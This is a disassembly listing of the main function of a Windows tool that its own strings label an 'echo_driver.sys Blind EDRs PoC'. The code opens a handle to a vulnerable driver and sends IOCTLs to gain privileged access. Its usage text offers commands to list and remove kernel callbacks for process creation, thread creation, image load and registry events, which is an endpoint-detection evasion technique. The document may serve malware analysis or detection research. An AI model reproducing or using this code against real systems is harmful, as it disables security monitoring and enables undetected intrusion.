Function at 0x140002680
Capabilities:
Set console window title
Terminate process

Disassembly:
push rbx
push r14
sub rsp, 0xd8
mov rax, qword [0x140042040]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov ebx, ecx
mov r14, rdx
lea rcx, str.echo.ac_PoC
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea rdx, str.____echo_driver.sys_Blind_EDRs_PoC_demonstration.
lea rcx, [0x140043710]
call fcn.1400056a0
mov rcx, rax
call fcn.140005950
cmp ebx, 3
je 0x1400026ec
lea rcx, str.Usage:_blind.exe__driver_path___operation__n_neg:_blind.exe_c:echo_driver.sys__proc_n
call fcn.140001230
lea rcx, str.Operation:_n__proc___List_Process_Creation_Callbacks_n__delproc__address____Remove_Process_Creation_Callback_n__rbproc__address___cbFunction____Roll_Back_Creation_Callback_n__thread___List_Thread_Creation_Callbacks_n__delthread___Remove_Thread_Creation_Callback_n__installDriver___Install_the_MSI_driver_n__uninstallDriver___Uninstall_the_MSI_driver_n__img___List_Image_Load_Callbacks_n__delimg__address____Remove_Image_Load_Callback_n__reg___List_Registry_modification_callbacks_n
call fcn.140001230
jmp 0x140002b33
mov edx, 0x20
mov qword [rsp + 0xd0], rdi
lea rcx, [0x140042d40]
call fcn.1400034e0
mov edx, 0x20
lea rcx, [0x140042ce0]
call fcn.1400034e0
mov edx, 0x10
lea rcx, [0x140042d30]
call fcn.1400034e0
mov edx, 0x10
lea rcx, [0x140042d90]
call fcn.1400034e0
mov edx, 0x10
lea rcx, [0x140042d00]
call fcn.1400034e0
mov edx, 0x10
lea rcx, [0x140042ca0]
call fcn.1400034e0
mov edx, 0x30
lea rcx, [0x140042d60]
call fcn.1400034e0
mov edx, 0x10
lea rcx, [0x140042da0]
call fcn.1400034e0
mov edx, 0x10
lea rcx, [0x140042dd0]
call fcn.1400034e0
mov edx, 0x20
lea rcx, [0x140042d10]
call fcn.1400034e0
mov edx, 0x20
lea rcx, [0x140042cb0]
call fcn.1400034e0
mov edx, 0x20
lea rcx, [0x140042e00]
call fcn.1400034e0
mov edx, 0x30
lea rcx, [0x140042c70]
call fcn.1400034e0
mov edx, 0x20
lea rcx, [0x140042db0]
call fcn.1400034e0
mov edx, 0x10
lea rcx, [0x140042de0]
call fcn.1400034e0
mov edx, 0x10
lea rcx, [0x140042df0]
call fcn.1400034e0
mov edx, 0x10
lea rcx, [0x140042cd0]
call fcn.1400034e0
xor ecx, ecx
call fcn.1400167ac
mov rcx, rax
call fcn.140012844
call fcn.140012818
mov edi, eax
and edi, 0x80000003
jge 0x14000283a
dec edi
or edi, 0xfffffffc
inc edi
movaps xmm0, xmmword [str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
add edi, 7
movzx eax, word [0x14003bbb8]
movaps xmm1, xmmword [0x14003bb60]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [0x14003bb70]
lea ecx, [rdi + rdi]
movaps xmmword [rsp + 0x70], xmm0
add ecx, 0xc
movaps xmm0, xmmword [0x14003bb90]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm1, xmmword [0x14003bb80]
mov word [rsp + 0xb8], ax
mov rax, 0xffffffffffffffff
movaps xmmword [rsp + 0x90], xmm0
cmovb rcx, rax
movsd xmm0, qword [0x14003bbb0]
movaps xmmword [rsp + 0x80], xmm1
movaps xmm1, xmmword [0x14003bba0]
lea edx, [rax + 2]
movsd qword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xa0], xmm1
call fcn.140012810
mov qword [0x140044ea0], rax
test rax, rax
je 0x140002b98
xor ebx, ebx
mov qword [rsp + 0xf0], rbp
mov qword [rsp + 0x100], rsi
mov esi, ebx
movsxd rbp, edi
test edi, edi
jle 0x140002923
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [rax - 1]
call fcn.140012818
cdq
idiv edi
movsxd rax, edx
movzx edx, word [rsp + rax*2 + 0x50]
mov rax, qword [0x140044ea0]
mov word [rax + rsi*2], dx
inc rsi
cmp rsi, rbp
jl 0x1400028f2
lea rcx, [0x140042de0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf0]
test rax, rax
je 0x140002b2b
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [0x140044eb8]
lea rdx, [0x140044e9c]
lea rcx, [0x140044e98]
call rax
mov edx, dword [0x140044e98]
mov r8d, dword [0x140044e9c]
mov word [0x140044eba], bx
mov r9d, dword [0x140044eb8]
cmp edx, 0xa
jae 0x1400029a1
lea rcx, str._ERROR__This_driver_does_not_support_the__d._d._d_version._n
call fcn.140001230
jmp 0x140002b2b
lea rcx, str.Windows_version:__d._d._d_version._n
call fcn.140001230
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
lea rcx, [0x140042cd0]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140044ea8], rax
cmp rax, 0xffffffffffffffff
jne 0x140002a04
lea rcx, str.Invalid_handle_device_in_CreateFileA__n
call fcn.140001230
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_Code:__d_n
call fcn.140001230
mov ecx, 0x1000
call fcn.140016d48
mov qword [rsp + 0x38], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
mov rcx, qword [0x140044ea8]
xor r8d, r8d
mov dword [rsp + 0x28], 0x1000
mov edx, 0x9e6a0594
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140002a63
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_initialize_driver_1___d_n
call fcn.140001230
jmp 0x140002b1e
mov edx, 1
lea ecx, [rdx + 0xf]
call fcn.140012810
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x140044ea8]
mov r9d, 8
mov qword [rsp + 0x38], rbx
mov r8, rdi
mov dword [rdi], eax
mov edx, 0xe6224248
lea rax, [rsp + 0x40]
mov dword [rdi + 4], 0x10000000
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140002ad3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_initialize_driver_2___d_n
call fcn.140001230
jmp 0x140002b1e
mov rax, qword [rdi + 8]
mov qword [0x140044eb0], rax
cmp dword [rsp + 0x40], ebx
je 0x140002b2b
mov rdx, qword [r14 + 0x10]
lea r8, str.proc
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdx + rcx + 1]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140002b50
cmp rcx, 5
jne 0x140002b00
xor edx, edx
xor ecx, ecx
call fcn.140002bb0
mov rcx, qword [0x140044ea8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0xd0]
xor eax, eax
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14000bc90
add rsp, 0xd8
pop r14
pop rbx
ret
lea rcx, str.delproc
nop word [rax + rax]
movzx eax, byte [rdx + rbx + 1]
inc rbx
cmp al, byte [rcx + rbx - 1]
jne 0x140002b8a
cmp rbx, 8
jne 0x140002b60
mov rcx, qword [r14 + 0x18]
lea r8d, [rbx + 8]
xor edx, edx
call fcn.1400166f8
xor edx, edx
mov rcx, rax
jmp 0x140002b19
lea rcx, str.Error:_Check_the_Help_n
call fcn.140003240
jmp 0x140002b1e
lea rcx, str.Random_Error__n
call fcn.140001230
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]